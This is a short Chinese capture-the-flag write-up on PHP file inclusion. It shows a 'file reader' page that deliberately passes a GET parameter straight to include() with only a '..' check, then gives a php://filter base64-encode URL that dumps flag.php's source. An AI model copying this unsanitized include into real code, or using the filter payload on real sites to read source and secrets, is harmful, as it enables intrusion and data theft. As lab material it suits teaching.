【CTF WEB】文件包含

文件包含

题目要求：

请找到题目中FLAG

漏洞源码

<meta charset='utf-8'>
<center><h1>文件阅读器</h1></center>
<!-- 据说flag在flag.php里 -->
<?php
error_reporting(0);
$f=$_GET['file'];
if(stripos($f,"..")===false)
{
	//;
}
else
{
	exit('invalid');
}
if(!$f)
{
	header('Location: ?file=test.txt');
}
else
{
	include($f);
}
?>

测试方法

http://localhost/?file=php://filter/read=convert.base64-encode/resource=flag.php

解开base64就能拿到key了

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